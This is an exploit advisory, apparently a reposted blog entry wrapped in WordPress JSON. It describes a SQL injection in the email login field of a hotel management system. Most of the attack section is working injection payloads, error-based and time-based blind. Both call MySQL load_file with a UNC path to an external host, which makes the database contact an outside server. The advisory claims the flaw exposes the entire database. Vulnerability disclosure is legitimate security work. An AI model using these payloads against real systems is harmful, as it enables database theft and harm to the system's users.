## Title: Multi-Language-Hotel-Management-2022 1.0 SQLi
\n## Author: nu11secur1ty
\n## Date: 08.03.2022
\n## Vendor: https:\/\/www.nikhilbhalerao.com\/
\n## Software: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/blob\/main\/vendors\/Nikhil%20Bhalerao\/2022\/Multi-Language-Hotel-Management-2022\/Docs\/sparkz.zip
\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/Nikhil%20Bhalerao\/2022\/Multi-Language-Hotel-Management-2022<\/p>\n
## Description:
\nThe `email` parameter appears to be vulnerable to SQL injection attacks.
\nThe payload ‘+(select
\nload_file(‘\\\\\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\\\ais’))+’
\nwas submitted in the email parameter.
\nThis payload injects a SQL sub-query that calls MySQL’s load_file
\nfunction with a UNC file path that references a URL on an external
\ndomain.
\nThe attacker can easily get the all database from this hotel system
\nand can do very malicious stuff with the users who are inside of this
\nsystem.<\/p>\n
Status: CRITICAL<\/p>\n
[+] Payloads:<\/p>\n
“`mysql
\n—
\nParameter: email (POST)
\nType: error-based
\nTitle: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or
\nGROUP BY clause (FLOOR)
\nPayload: email=hmqHtDjH@burpcollaborator.net’+(select
\nload_file(‘\\\\\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\\\ais’))+”||(SELECT
\n0x55644a42 WHERE 3972=3972 AND (SELECT 1380 FROM(SELECT
\nCOUNT(*),CONCAT(0x7162787671,(SELECT
\n(ELT(1380=1380,1))),0x7178787671,FLOOR(RAND(0)*2))x FROM
\nINFORMATION_SCHEMA.PLUGINS GROUP BY
\nx)a))||’&password=m5S!k0l!S6&login=<\/p>\n
Type: time-based blind
\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
\nPayload: email=hmqHtDjH@burpcollaborator.net’+(select
\nload_file(‘\\\\\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\\\ais’))+”||(SELECT
\n0x48536341 WHERE 9809=9809 AND (SELECT 5116 FROM
\n(SELECT(SLEEP(15)))ygbC))||’&password=m5S!k0l!S6&login=
\n—<\/p>\n
“`<\/p>\n
## Reproduce:
\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/Nikhil%20Bhalerao\/2022\/Multi-Language-Hotel-Management-2022)<\/p>\n
## Proof and Exploit:
\n[href](https:\/\/streamable.com\/uk7zq2)<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: Multi-Language-Hotel-Management-2022 1.0 SQLi ## Author: nu11secur1ty ## Date: 08.03.2022 ## Vendor: https:\/\/www.nikhilbhalerao.com\/ ## Software: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/blob\/main\/vendors\/Nikhil%20Bhalerao\/2022\/Multi-Language-Hotel-Management-2022\/Docs\/sparkz.zip ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/Nikhil%20Bhalerao\/2022\/Multi-Language-Hotel-Management-2022 ## Description: The `email` parameter appears to be vulnerable to SQL injection attacks. The payload ‘+(select load_file(‘\\\\\\\\kpdw69idt7zx6jw1ehdh1469o0utikd84bs3ft3i.tupunger.com\\\\ais’))+’ was submitted in the email parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28916","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28916","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28916"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28916\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28916"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28916"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28916"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}